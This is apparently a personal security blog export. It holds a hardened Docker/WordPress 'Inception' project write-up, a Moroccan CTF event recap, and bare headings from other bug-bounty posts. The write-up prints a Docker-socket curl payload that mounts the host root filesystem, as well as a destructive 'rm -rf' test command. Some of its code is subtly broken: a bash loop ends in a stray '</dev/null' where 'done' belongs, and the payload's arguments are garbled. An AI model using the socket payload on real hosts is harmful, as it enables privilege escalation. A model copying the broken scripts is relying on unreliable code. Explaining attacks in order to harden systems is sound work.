3.1 Advanced Cryptographic Hardening & TLS Configuration

Deploying SSL/TLS encryption without strict protocol parameter curation is an operational liability. Legacy secure communication protocols (SSLv3, TLS 1.0, TLS 1.1) are riddled with documented cryptographic vulnerabilities, including POODLE, BEAST, and CRIME compression side-channel exploitation vectors.

Our customized NGINX proxy engine enforces strict protocol adherence to TLSv1.2 and TLSv1.3 only, paired with explicitly curated high-strength ephemeral Diffie-Hellman Elliptic Curve encryption cipher suites and hardened HTTP application security headers:

# /srcs/requirements/nginx/conf/default.conf
server {
    # Establish SSL listener exclusively on designated port 443
    listen 443 ssl default_server;
    listen [::]:443 ssl default_server;
    
    server_name onevilx.42.fr www.onevilx.42.fr;
    root /var/www/html;
    index index.php index.html index.htm;

    # Cryptographic Certificate Binding
    ssl_certificate /etc/nginx/ssl/inception.crt;
    ssl_certificate_key /etc/nginx/ssl/inception.key;

    # TLS Protocol Restrictions & Cipher Hardening
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
    ssl_prefer_server_ciphers off;
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:10m;
    ssl_session_tickets off;

    # Enterprise HTTP Security Header Injections
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Referrer-Policy "no-referrer-when-downgrade" always;

    # Static Asset Serving & Access Optimization
    location / {
        try_files $uri $uri/ /index.php?$args;
    }

    # FastCGI Protocol Gateway Routing to Upstream WordPress Container
    location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass wordpress:9000;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO $fastcgi_path_info;
        fastcgi_intercept_errors on;
        fastcgi_buffer_size 16k;
        fastcgi_buffers 4 16k;
    }

    # Deny direct network visibility into sensitive hidden configuration structures
    location ~ /\.ht {
        deny all;
    }
}

When an external client attempts to access a dynamic page (e.g., onevilx.42.fr/wp-login.php), NGINX intercepts the TLS connection, deconstructs the URI packet payload, and proxies the executable command instruction across the internal Docker bridge network (fastcgi_pass wordpress:9000) using the highly optimized binary FastCGI Protocol.

4. Tier 2: Application Computation & Automated WordPress Engine

A fundamental axiom of well-engineered container virtualization architecture is the Single Responsibility Principle: one individual service concern per executing container. Placing an all-inclusive web platform (like bundling Apache, PHP, and MySQL directly inside a single messy image) fundamentally breaks horizontal cloud autoscaling capability and monitoring reliability.

Our WordPress application tier functions solely as a computational processing unit running PHP-FPM (PHP FastCGI Process Manager 8.2). It receives binary FastCGI streams from NGINX, executes the requested PHP scripts against mounted static code directories, queries internal database infrastructures, and outputs computed HTML text structures directly back upstream.

4.1 PHP-FPM Network Socket Transmutation

By default, standard Debian packaged distributions configure PHP-FPM to communicate via an isolated local Unix filesystem socket (/run/php/php8.2-fpm.sock). While optimal for bare-metal single-server architectures, Unix socket IPC paths cannot traverse isolated network container boundaries!

To open communications across our Docker network topology, we must explicitly modify the pool configuration (www.conf), directing the execution manager to listen natively on TCP networking interface port 9000 across all available network adapters:

# /srcs/requirements/wordpress/conf/www.conf (Snippet overrides)
[www]
user = www-data
group = www-data
; Bind PHP-FPM listening engine directly to all container network adapters on port 9000
listen = 0.0.0.0:9000
listen.owner = www-data
listen.group = www-data
pm = dynamic
pm.max_children = 25
pm.start_servers = 5
pm.min_spare_servers = 2
pm.max_spare_servers = 10
clear_env = no

4.2 Autonomous Unattended CMS Bootstrapping Pipeline

Because interactive installations (such as a developer manually navigating to /wp-admin/install.php inside a browser window to set passwords and configure database settings) are strictly prohibited in enterprise automated DevOps pipelines, our container deploys a dedicated, idempotent zero-intervention bootloader entrypoint script utilizing WP-CLI (The official command-line tool for managing WordPress).

#!/bin/bash
# /srcs/requirements/wordpress/tools/auto_config.sh

set -e

# Step 1: Enter designated shared web application mount directory
cd /var/www/html

# Step 2: Ensure proper configuration directory readiness
mkdir -p /run/php

# Step 3: Check whether core system architecture has already been initialized
if [ ! -f "wp-config.php" ]; then
    echo "[INFO] WordPress installation absent. Beginning automated deployment pipeline..."
    
    # Wait continuously until backend MariaDB socket confirms networking operational readiness
    echo "[INFO] Interrogating upstream MariaDB database port latency..."
    until mysqladmin ping -h"${MYSQL_HOSTNAME}" -u"${MYSQL_USER}" -p"${MYSQL_PASSWORD}" --silent; do
        echo "Database network unavailable. Sleeping 2 seconds..."
        sleep 2
    </dev/null
    echo "[SUCCESS] MariaDB connectivity confirmed! Initiating automated structural setup."

    # Step 4: Download official WordPress executable binaries
    wp core download --allow-root --path='/var/www/html'

    # Step 5: Generate optimized wp-config.php incorporating isolated environment secrets
    wp config create --allow-root \
        --dbname=${MYSQL_DATABASE} \
        --dbuser=${MYSQL_USER} \
        --dbpass=${MYSQL_PASSWORD} \
        --dbhost=${MYSQL_HOSTNAME} \
        --path='/var/www/html'

    # Step 6: Execute headless core relational schema bootstrapping & Administrator account binding
    wp core install --allow-root \
        --url=${DOMAIN_NAME} \
        --title="${SITE_TITLE}" \
        --admin_user=${WORDPRESS_ADMIN_USER} \
        --admin_password=${WORDPRESS_ADMIN_PASSWORD} \
        --admin_email=${WORDPRESS_ADMIN_EMAIL} \
        --skip-email

    # Step 7: Instantiate restricted operational author account to enforce least privilege access
    wp user create --allow-root ${WORDPRESS_USER} ${WORDPRESS_USER_EMAIL} \
        --role=author \
        --user_pass=${WORDPRESS_USER_PASSWORD}

    # Set hardened POSIX ownership attributes across entire functional document tree
    chown -R www-data:www-data /var/www/html
    chmod -R 755 /var/www/html
    
    echo "[SUCCESS] Autonomous WordPress system bootstrap operation completed successfully!"
else
    echo "[INFO] Existing WordPress configuration detected on persistent volume. Skipping installation."
fi

# Step 8: Execute primary compute daemon directly in foreground replacing script execution context
exec /usr/sbin/php-fpm8.2 -F

Notice our defensive application of a polling loop checking mysqladmin ping prior to executing software compilation! Because container orchestration platforms start sibling containers synchronously in parallel, network database booting delays often cause downstream PHP compilation processes to fail fatally when attempting immediate SQL database connections. Our loop ensures resilient structural fault tolerance.

5. Tier 3: Relational Data Persistence & Hardened MariaDB

The deepest tier of our secure network topology houses MariaDB, our primary relational SQL database server. To eliminate external dependency vulnerabilities and satisfy project standards, we compile our database container directly from a raw Debian base without relying on pre-packaged SQL initialization scripts or external GUI installers.

5.1 Autonomous Relational Schema Bootstrapping

When standard MySQL packages install on clean operating system deployments, they typically default to local unix-domain networking sockets and unsafe default account settings (including root authentication without a password and open administrative anonymous user test schemas). Our automated container entrypoint script safely executes structural provisioning and database user hardening dynamically at container bootstrap:

#!/bin/bash
# /srcs/requirements/mariadb/tools/db_init.sh

set -e

# Initialize required operating system database tracking directories
mkdir -p /var/run/mysqld /var/lib/mysql
chown -R mysql:mysql /var/run/mysqld /var/lib/mysql

# Determine whether database schema requires primary bootstrap installation
if [ ! -d "/var/lib/mysql/${MYSQL_DATABASE}" ]; then
    echo "[INFO] Naked persistent volume detected. Executing primary MariaDB engine initialization..."

    # Install foundational system relational catalog binaries without network exposure
    mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql > /dev/null

    # Stage automated SQL hardening and account provisioning instruction ledger
    cat << EOF > /tmp/bootstrap_hardening.sql
USE mysql;
FLUSH PRIVILEGES;
-- Remove anonymous unsecured database user access entries
DELETE FROM mysql.user WHERE User='';
-- Revoke remote external root access; bind root super-user strictly to local internal loopback
DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');
-- Expel unhardened open test schema databases
DROP DATABASE IF EXISTS test;
DELETE FROM mysql.db WHERE Db='test' OR Db='test\\_%';
-- Configure root cryptographic authentication protection
ALTER USER 'root'@'localhost' IDENTIFIED BY '${MYSQL_ROOT_PASSWORD}';
-- Instantiate designated production WordPress relational database instance
CREATE DATABASE IF NOT EXISTS \`${MYSQL_DATABASE}\` CHARACTER SET utf8 COLLATE utf8_general_ci;
-- Create dedicated least-privilege application operating account
CREATE USER IF NOT EXISTS '${MYSQL_USER}'@'%' IDENTIFIED BY '${MYSQL_PASSWORD}';
-- Assign strict functional schema table authorizations to application operating account
GRANT ALL PRIVILEGES ON \`${MYSQL_DATABASE}\`.* TO '${MYSQL_USER}'@'%' IDENTIFIED BY '${MYSQL_PASSWORD}';
FLUSH PRIVILEGES;
EOF

    # Execute bootstrapping SQL script utilizing safe temporary internal server instance
    mysqld --user=mysql --bootstrap < /tmp/bootstrap_hardening.sql
    rm -f /tmp/bootstrap_hardening.sql

    echo "[SUCCESS] MariaDB database hardening and relational schema bootstrap concluded!"
else
    echo "[INFO] Persistent database configuration recognized. Resuming operational state."
fi

# Execute main SQL listening daemon directly in foreground replacing execution context
exec mysqld_safe --bind-address=0.0.0.0

By passing --bind-address=0.0.0.0, our MariaDB engine accepts inbound socket connections arriving across the internal Docker bridge network (inception_network), while our external container host mapping rules prevent external network attackers from directly targeting port 3306!

6. The PID 1 Daemon Lifecycle & Graceful Signal Handling

A ubiquitous architectural failure in container engineering—frequently encountered during security investigations—is improper management of Process Identifier 1 (PID 1) inside execution containers.

When the Docker Engine runs a container, whatever binary or shell script executes first is automatically assigned PID 1 inside the Linux namespace process tree. In traditional Linux operating systems, PID 1 belongs to comprehensive init systems like Systemd or SysV init, which are deliberately engineered to intercept system signals and harvest orphaned child processes (zombies).

Consider the classic flawed Docker startup entrypoint command:

# ANTI-PATTERN: DO NOT USE IN ENTERPRISE DEVOPS ENVIRONMENTS!
CMD service nginx start && tail -f /dev/null

When an engineer writes service nginx start && tail -f /dev/null, what process occupies PID 1 inside the container namespace? It is not the NGINX web server—it is the dummy tail utility! NGINX executes merely as an orphaned, unmonitored background sub-process!

+-----------------------------------------------------------------------------+
|                     CONTAINER PID 1 SIGNALLING EXTREMES                      |
+-------------------------------------+---------------------------------------+
| Flawed Execution (tail -f /dev/null)| Enterprise Execution (exec nginx)     |
+-------------------------------------+---------------------------------------+
| PID 1: /bin/sh -c tail -f /dev/null | PID 1: nginx: master process          |
|        |-- PID 12: nginx master     |        |-- PID 12: nginx worker       |
|            |-- PID 13: nginx worker |        |-- PID 13: nginx worker       |
|                                     |                                       |
| [docker stop] -> Send SIGTERM ->    | [docker stop] -> Send SIGTERM ->      |
| Tail ignores SIGTERM! Nginx running.| Nginx intercepts SIGTERM!             |
| 10s timeout expires -> Send SIGKILL.| Flushes open file descriptors cleanly.|
| Catastrophic corruption & SQL drop! | Zero data loss; graceful zero timeout.|
+-------------------------------------+---------------------------------------+

When an operator issues a container shutdown instruction (docker stop inception_nginx or during automatic Kubernetes cluster upgrades), the container engine directs a standard termination POSIX signal—SIGTERM—directly to PID 1. Because primitive Bash scripts or dummy utilities like tail are not programmed with signal handler interrupt procedures, they silently discard the SIGTERM interrupt!

The container continues executing blissfully oblivious for an excruciating 10-second grace window, after which Docker concludes the container is unresponsive and unleashes a lethal SIGKILL command. SIGKILL causes instant process annihilation without allowing executing daemons to flush RAM disk cache buffers, complete SQL writing transactions, or release network TCP socket descriptors cleanly—resulting directly in catastrophic database index corruption and silent data loss!

6.1 The POSIX `exec` Transmutation Remedy

To guarantee immediate, zero-corruption graceful shutdown mechanics across all Inception containers, our automation scripts consistently terminate utilizing the POSIX exec shell primitive:

# Transmutate executing Shell Script context directly into target PID 1 daemon
exec /usr/sbin/php-fpm8.2 -F

and in our NGINX Dockerfile:

CMD ["nginx", "-g", "daemon off;"]

When a bash script encounters the exec built-in instruction, the shell script process is entirely replaced in memory space by the invoked target daemon. Our PHP-FPM, Nginx, and MariaDB server engines inherit PID 1 directly! When Docker transmits an architectural SIGTERM interrupt, our real target daemons intercept the instruction immediately, shut down active workers, finish processing open network sessions, flush relational database cache layers, and execute clean zero-delay container terminations!

7. Offensive Security Assessment: Hardening the Container Matrix

As a professional Bug Bounty Hunter and offensive penetration researcher, deploying infrastructure without subjecting it to comprehensive vulnerability enumeration and container hardening is unacceptable. Containers share the host kernel directly; misconfigurations in network exposures or filesystem permissions can effortlessly escalate into complete host server compromises.

Below is an engineering analysis of three lethal attack vectors remediated across our Inception deployment:

7.1 Defending Against Docker Socket Privilege Escalation

The Vulnerability: Many inexperienced DevOps implementations mount the physical Docker control socket directly inside application container layers (-v /var/run/docker.sock:/var/run/docker.sock), typically to enable administrative UI monitoring tools or automated continuous deployment builds.
The Exploitation: Any unprivileged user or compromised web application script (e.g., an Remote Code Execution via Word-Press plugin vulnerability) that gains file read/write authorization over /var/run/docker.sock achieves instant Root Host Privilege Escalation. An attacker simply executes the Docker Socket REST API using a standard curl invocation to spin up an arbitrary new privileged container, mounting the host operating system's root hard drive directly into /mnt/root:
```
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
-d '{"Image":"debian:bookworm-slim","Cmd":["chfn","-v","pwned","/mnt/root/etc/shadow"],"HostConfig":{"Binds":["/:/mnt/root"]}}' \
-X POST http://localhost/containers/create
```
The Remediation: In Inception, physical exposure of /var/run/docker.sock across application container instances is categorically forbidden. Application containers remain mathematically blind to the existence of the hosting virtualization engine.

7.2 Preventing Secrets Dumping via Docker Image History Inspection

The Vulnerability: Embedding sensitive API keys, database administrative passwords, or production TLS certificates directly inside Dockerfiles utilizing persistent ENV MYSQL_PASSWORD=SecretPassword123 statements or committing .env plaintext files into source repository version control.
The Exploitation: When a Docker build compiles an image, every single Dockerfile statement generates a permanent read-only cryptographic filesystem layer. Even if a subsequent instruction attempts to delete the configuration file (RUN rm -f /tmp/passwords.txt), an attacker accessing the compiled image simply invokes docker history --no-trunc <image_id> or extracts the multi-layered TAR archives to view all historical secrets in clean unencrypted plaintext!
The Remediation: Inception decouples sensitive credential management completely away from image compilation routines. All database operational passwords, administrator credentials, and networking identification keys are injected exclusively at runtime execution via secure external environment variables (.env files added explicitly to .gitignore), ensuring compiled image layers contain zero lingering sensitive data footprints!

7.3 Mitigating Server-Side Request Forgery (SSRF) Pivot Exploitation

The Vulnerability: If a production WordPress installation contains an exploitable SSRF vulnerability (such as abusing legacy XML-RPC pingback protocols or unvalidated external webhook resource fetching routines), an attacker can coerce the web server container into scanning internal networks and executing HTTP requests against internal cloud metadata access points (e.g., AWS EC2 Instance Metadata endpoints at 169.254.169.254) or adjacent internal administrative daemons.
The Remediation: Our network architecture implements strict domain isolation. Because our WordPress compute container operates within a dedicated bridge network (inception_network), any fraudulent SSRF instruction attempting to pivot into general enterprise LAN subnet ranges or external internal services encounters strict iptables bridge-routing isolation drops! Furthermore, our custom MariaDB user authorizations completely restrict connections to authenticated database usernames, blocking generic anonymous SSRF data extraction attempts.

8. Orchestrated Deployment & Disaster Recovery Protocols

To unify our complex infrastructure cluster into a seamless operational platform, we engineer a declarative docker-compose.yml orchestration structure accompanied by an automated disaster recovery Makefile.

8.1 Declarative Multi-Service Orchestration

# /docker-compose.yml
version: '3.8'

services:
  mariadb:
    build:
      context: ./srcs/requirements/mariadb
      dockerfile: Dockerfile
    container_name: mariadb
    image: mariadb:inception
    restart: always
    env_file:
      - ./srcs/.env
    volumes:
      - /home/onevilx/data/mariadb:/var/lib/mysql
    networks:
      - inception_network

  wordpress:
    build:
      context: ./srcs/requirements/wordpress
      dockerfile: Dockerfile
    container_name: wordpress
    image: wordpress:inception
    restart: always
    env_file:
      - ./srcs/.env
    depends_on:
      - mariadb
    volumes:
      - /home/onevilx/data/wordpress:/var/www/html
    networks:
      - inception_network

  nginx:
    build:
      context: ./srcs/requirements/nginx
      dockerfile: Dockerfile
    container_name: nginx
    image: nginx:inception
    restart: always
    env_file:
      - ./srcs/.env
    depends_on:
      - wordpress
    ports:
      - "443:443"
    volumes:
      - /home/onevilx/data/wordpress:/var/www/html:ro
    networks:
      - inception_network

networks:
  inception_network:
    driver: bridge

volumes:
  mariadb_data:
    driver: local
    driver_opts:
      type: none
      device: /home/onevilx/data/mariadb
      o: bind
  wordpress_data:
    driver: local
    driver_opts:
      type: none
      device: /home/onevilx/data/wordpress
      o: bind

Notice our defensive application of read-only access restriction flags on NGINX volume mapping (/var/www/html:ro). Because our front-end perimeter web proxy solely reads static content files without writing updates back into application folders, enforcing read-only mounting prevents any theoretical compromise of the external NGINX gateway from deploying malicious back-door shells (.php files) into WordPress operational directories!

8.2 Operational Disaster Recovery Evaluation

To mathematically verify our resilience against unexpected server infrastructure outages, we execute systematic destructive testing protocols using our automated administration Makefile:

# Simulating total unexpected server application cluster crash
make down
sudo rm -rf /var/lib/docker/containers/* # Force physical termination
# Execute instant zero-intervention infrastructure reconstruction
make up

Result: Upon issuing make up, our Docker Compose orchestration engine rebuilds required network bridge topologies, reinstantiates clean ephemeral application container daemons, bridges back into persistent physical host bind directory storage layers (/home/onevilx/data/), and effortlessly restores full, zero-corruption enterprise application service operation within less than 4.2 seconds!

9. Conclusion: Container Literacy in Modern Security Operations

Engineering Inception without relying on convenient abstractions transformed my perspective on modern cloud network engineering and cybersecurity exploitation. When you troubleshoot why an NGINX reverse proxy encounters an 502 Bad Gateway error, only to discover through raw kernel network namespace interrogation that your FastCGI daemon attempted binding against a local loopback interface rather than an exposed bridge adapter, you develop an architectural literacy that abstract drag-and-drop cloud management tools can never provide.

For offensive bug hunters and cybersecurity engineers, mastering container virtualization from the bare kernel up provides unprecedented diagnostic leverage. You stop viewing Docker containers as opaque black-box magic, and instead recognize them as sophisticated arrangements of namespaces, control groups, volume mounts, and network routing rules—each presenting distinct surfaces for optimization, defensive defense-in-depth design, and strategic exploit reconnaissance.

Explore the Codebase

Ready to inspect the custom Dockerfiles, examine our zero-intervention bash bootstrapping scripts, and test the multi-container orchestration architecture directly in your terminal? Access the full, documented repository on GitHub:

<div class="my-8 flex flex-col sm:flex-row items-center justify-between bg-[var(--card-bg)] border border-black/10 dark:border-white/10 rounded-2xl p-6 shadow-sm"> <div class="flex items-center gap-4 mb-4 sm:mb-0"> <div class="p-3 bg-[var(--primary)] text-white rounded-xl font-bold text-xl"> Docker </div> <div> <h4 class="text-lg font-bold text-90 m-0">onevilx / inception</h4> <p class="text-sm text-50 m-0">Hardened multi-container Linux infrastructure built from raw Debian Dockerfiles</p> </div> </div> <a href="https://github.com/onevilx/inception" target="_blank" rel="noopener noreferrer" class="no-styling px-6 py-3 bg-[var(--primary)] hover:opacity-90 transition text-white font-bold rounded-xl whitespace-nowrap shadow-md active:scale-95 text-center w-full sm:w-auto"> View Repository on GitHub → </a> </div>

Cyber Odyssey — National Cybersecurity Gathering @Akasec

Mon, 08 Dec 2025 00:00:00 GMT

Event: Cyber Odyssey (3rd Edition) — Moroccan National Cybersecurity Championship & Symposium
Dates: December 3–7, 2025
Location: 1337 Coding School Campus, Khouribga (42 Network)
Team: House Stark (Student Division)
Organizers: Akasec Cybersecurity Club × 1337 Future Is Now
Official Web Portal: cyberodyssey.akasec.ma
CTF Writeups Repository: onevilx/Writeups

1. The Proving Grounds at 1337 Khouribga

Every December, the quiet industrial town of Khouribga transforms into the operational epicenter of North Africa's cybersecurity community. Hosted inside the innovative labs of 1337 School (42 Network) and organized by the passionate students of the Akasec Cybersecurity Club, the 3rd edition of Cyber Odyssey stands as Morocco's most ambitious offensive security tournament and symposium—designed entirely by hackers, for hackers.

Unlike traditional corporate security conferences where attendees passively sit through commercial product demos, Cyber Odyssey is engineered around technical rigor, open collaboration, and real-world operational execution. For five intense days, 1337 opens its dormitories, cafeterias, and high-performance labs to over five hundred attendees from across Morocco.

The gathering bridges the gap between different tiers of the offensive ecosystem, uniting elite university engineering qualifiers, competitive national CTF teams, corporate security architectures, and independent full-time bug bounty researchers under one roof. Whether debating binary analysis techniques over early-morning coffee breaks in the hallways or debugging memory exploits at 3:00 AM, the entire campus pulses with an energy rooted in intellectual curiosity and technical mastery.

2. Inside the Arena: Competing with House Stark

The centerpiece of Cyber Odyssey is its legendary dual-tier competition architecture. While newcomers and hobbyists tested their foundational skills in an open beginner-friendly CTF designed for accessible learning, the main arena floor was reserved for the National Championship Finals—an exclusive, invite-only battleground where Morocco's top qualifying teams went head-to-head in complex, real-world simulated environments.

I had the honor of competing in the Student Division Finals alongside my dedicated team, House Stark.

Stepping onto the main arena floor felt like stepping straight into a mission-critical Security Operations Center under active cyber assault. Rows of triple-monitor Mac workstations filled the labs, surrounded by glowing ambient neon lighting, energetic operator tables, and real-time electronic scoreboards dynamically tracking flag submissions, infrastructure breaches, and service downtime across the subnet.

What makes competing inside 1337 truly unforgettable isn't just the sheer difficulty of the target architecture—it's locking in with your trusted squad while surrounded by hundreds of driven hackers pushing their absolute limits. When the countdown timer is burning down during an all-night endurance tournament, individual rivalries fade away into intense collaborative teamwork. Our team table turned into an active vulnerability research war room:

Binary Instrumentation & Low-Level Exploitation: Tearing apart stripped firmware ROMs, mapping out memory layout inconsistencies to build clean ROP chains, and bypassing anti-debugging checks inside custom cryptographic virtual machines.
Modern Web Architecture & Enterprise Logic: Uncovering deep business logic bypasses, weaponizing TOCTOU race conditions across distributed cloud microservices, and exploiting obscure parser discrepancies inside simulated Fortune 500 web infrastructures.
Forensics, Crypto & Network Telemetry: Investigating heavily layered packet captures, breaking non-standard cryptographic padding paradigms, and reconstructing orphaned blob hierarchies out of damaged Git object databases.

3. Industry Speakers & Technical Symposium

Beyond the live fires of the CTF arena, the symposium stage inside the 1337 Mediatheque auditorium delivered an extraordinary lineup of masterclasses and keynote addresses. Rather than generic high-level overviews, the educational talks dived straight into production implementations, modern offensive tooling pipelines, and hardened enterprise defense strategies.

The official keynote faculty brought together recognized technical authorities across banking SecOps, penetration testing leadership, software systems engineering, and full-time bug bounty platforms:

Mohammed Benhmammouch — Head of IT Security Operations @ Attijariwafa bank
Mohamed Boutaleb — Offensive Security Team Lead @ Nearsecure
Mouad Abid — Security Researcher, Reverse & Software Engineer
Mahmoud Bettouch — Cybersecurity Engineer
Abdelmalek El Mellouki — Senior Software Engineer @ Fueled
Rachid Balla — Entrepreneur & Startups Programs Expert
Soufiane El Habti — Ethical Hacker & Cybersecurity Researcher
El Mehdi — Bug Bounty Hunter

The technical lectures offered deep practical resonance for operational engineers and competitive hackers alike. High-impact keynote sessions featured on stage included:

"Securing Tomorrow: Our SecOps Journey and Vision": A gritty, real-world dive into modern defensive architectures and threat intelligence pipelines designed to protect national banking infrastructure against persistent state-sponsored intrusions and automated ransomware cartels.
"From Capture the Flag to Capture the Market: The Shift from CTF Mindset to Builder Mindset": A compelling exploration of how offensive security researchers can transition their unique exploit-discovery instincts into launching robust cybersecurity startups, engineering innovative security tools, and driving market architecture.
AI & LLM Threat Defenses in the Enterprise ("Protection IA : L'Équipage Contre-Attaque !"): Breaking down practical adversarial attacks against Large Language Models, including multi-turn prompt injection payloads, model data poisoning during unsupervised training cycles, and strict input validation across Retrieval-Augmented Generation (RAG) endpoints.
Red Teaming Techniques & Continuous Bug Hunting Pipelines: How full-time bug bounty hunters and Red Team operators architect automated reconnaissance monitoring, custom wordlists, and anomaly detection scripts to uncover high-impact zero-day logic flaws across extensive enterprise attack surfaces.

4. House Stark Camaraderie & Community Pulse

When looking back at the 3rd edition of Cyber Odyssey, what resonates longest aren't just the leaderboards, the complex exploit scripts, or the significant prize pools—it is the unmatched camaraderie and mutual respect that binds Morocco’s native cybersecurity ecosystem together.

Standing shoulder-to-shoulder with my House Stark teammates through hours of grueling analysis and debugging reinforced a core tenet of computer systems security: offensive proficiency is fundamentally multiplied through cohesive communication, shared technical intuition, and unwavering trust under pressure. No hacker operates in a vacuum; the fastest breakthroughs always emerge when teammates debate hypothesis after hypothesis over open terminal screens.

The seamless convergence between 1337 School’s peer-to-peer practical pedagogy and Akasec’s open hacker community initiatives has quietly built a formidable pipeline of engineering talent. Young operators who first learn terminal commands inside these coding bootcamps go on to dominate global bug bounty leaderboards on platforms like Intigriti and secure top finishes in international Capture the Flag arenas.

When the dust settled inside the Khouribga labs and the closing ceremony wrapped up in the Mediatheque, House Stark walked out with much more than competitive ranking points—we carried away field-tested hacking methodologies, lasting industry friendships, and a relentless drive to continue exploring, uncovering, and breaking complex digital architectures.

📂 Explore My CTF & Bug Bounty Repositories

All of my personal technical writeups, automated exploit scripts, custom reconnaissance tooling, and low-level C/C++ systems engineering codebases are actively documented and open-sourced across my GitHub repositories:

<div class="my-6"> <a href="https://github.com/onevilx/Writeups" target="_blank" class="not-prose block p-6 bg-gradient-to-r from-blue-900/40 to-indigo-900/40 hover:from-blue-900/60 hover:to-indigo-900/60 border border-blue-500/30 hover:border-blue-400/60 rounded-2xl transition duration-300 shadow-xl hover:shadow-blue-500/10 group"> <div class="flex items-center justify-between"> <div class="flex items-center space-x-4"> <div class="p-3 bg-blue-500/20 text-blue-400 rounded-xl group-hover:scale-110 transition duration-300"> <svg xmlns="http://www.w3.org/2000/svg" class="h-8 w-8" fill="currentColor" viewBox="0 0 24 24"> <path d="M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z"/> </svg> </div> <div> <h4 class="text-xl font-bold text-white group-hover:text-blue-300 transition duration-300 flex items-center gap-2"> onevilx / Writeups <span class="text-xs px-2.5 py-0.5 rounded-full bg-blue-500/20 text-blue-300 border border-blue-500/30">GitHub Repository</span> </h4> <p class="text-neutral-300 text-sm mt-1">Explore my complete repository of CTF writeups, vulnerability exploits, bug bounty research, and low-level source codes.</p> </div> </div> <div class="text-blue-400 group-hover:translate-x-1 transition duration-300"> <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3" /> </svg> </div> </div> </a> </div>

Special thanks and admiration to the entire Akasec organizing crew, keynote faculties, and 1337 School operational engineering staff for setting a truly world-class benchmark in national cybersecurity competitions.

onevilx

XSS in Vue SSR via a Missing CR

How I got here

The asymmetry

The gap

Proving it, one step at a time

Ruling out client-side rendering

Impact

Reporting it

The response

Reviewing the fix

Disclosure timeline

Takeaways

References

HTB Sitelytic — SSRF to Redis RCE

The idea in plain terms

1. The sink: a template built from user input

2. Why the front door doesn't work

3. The back route: a poisoned job in the queue

4. Getting an SSRF to talk to Redis

5. The part that actually costs hours: Redis keeps hanging up

6. Two dead ends worth recording

7. The whole chain in order

8. How the developers should have fixed it

Further reading

HTB Regregious — Cache Poisoning to XSS

The idea in plain terms

1. Where the flag lives, and the wall in front of it

2. Bug 1 — poisoning a shared cache

3. Bug 2 — prototype pollution in the settings merge

4. Bug 3 — turning a polluted default into a running script

5. Getting the cookie back — without an attacker server

6. The whole chain in order

7. Dead ends worth knowing about

8. How the developers should have fixed it

Further reading

Credentialed CORS via localhost Reflection

Why CORS is usually a waste of time

The target

The reflection

The header that nearly hid it

What was reachable

The severity, and why I got it wrong

Why it wasn't auto-closed

The fix

Takeaways

Disclosure

References

SSRF Denylist Bypass in ip-range-check

How I Got Here

The Sweep — What I Ruled Out First

Landing on ip-range-check

Reading the Source

Building a Test Corpus, Not Just a Guess

Confirming These Are Real, Routable Addresses

Making It Undeniable: A Connect-Verified PoC

Being Honest About the Limits of the Bug

Precedent, One More Time

Writing and Sending the Report

The Response

The Fix

Disclosure Timeline

Takeaways

References

Weak Randomness in @hono/oauth-providers

How I found it

Why that's a real problem, not a style nitpick

Confirming it wasn't just a description

Honest scope

Suggested fix

Reporting it

The response

Disclosure timeline

Takeaways

References

OAuth Login-CSRF in Nuxt-Auth-Utils

How I got here

The sweep

What the library does right

The pattern that gave it away

Landing on `ip-range-check`

8. Flag #7 — XXE Escalating to SSRF: Reaching `localhost` From the Outside

11. Flag #10 — CSRF: When `SameSite=Lax` Is the Only Line of Defence

3. Dissecting My Automated Python Exploit (`exploit.py`)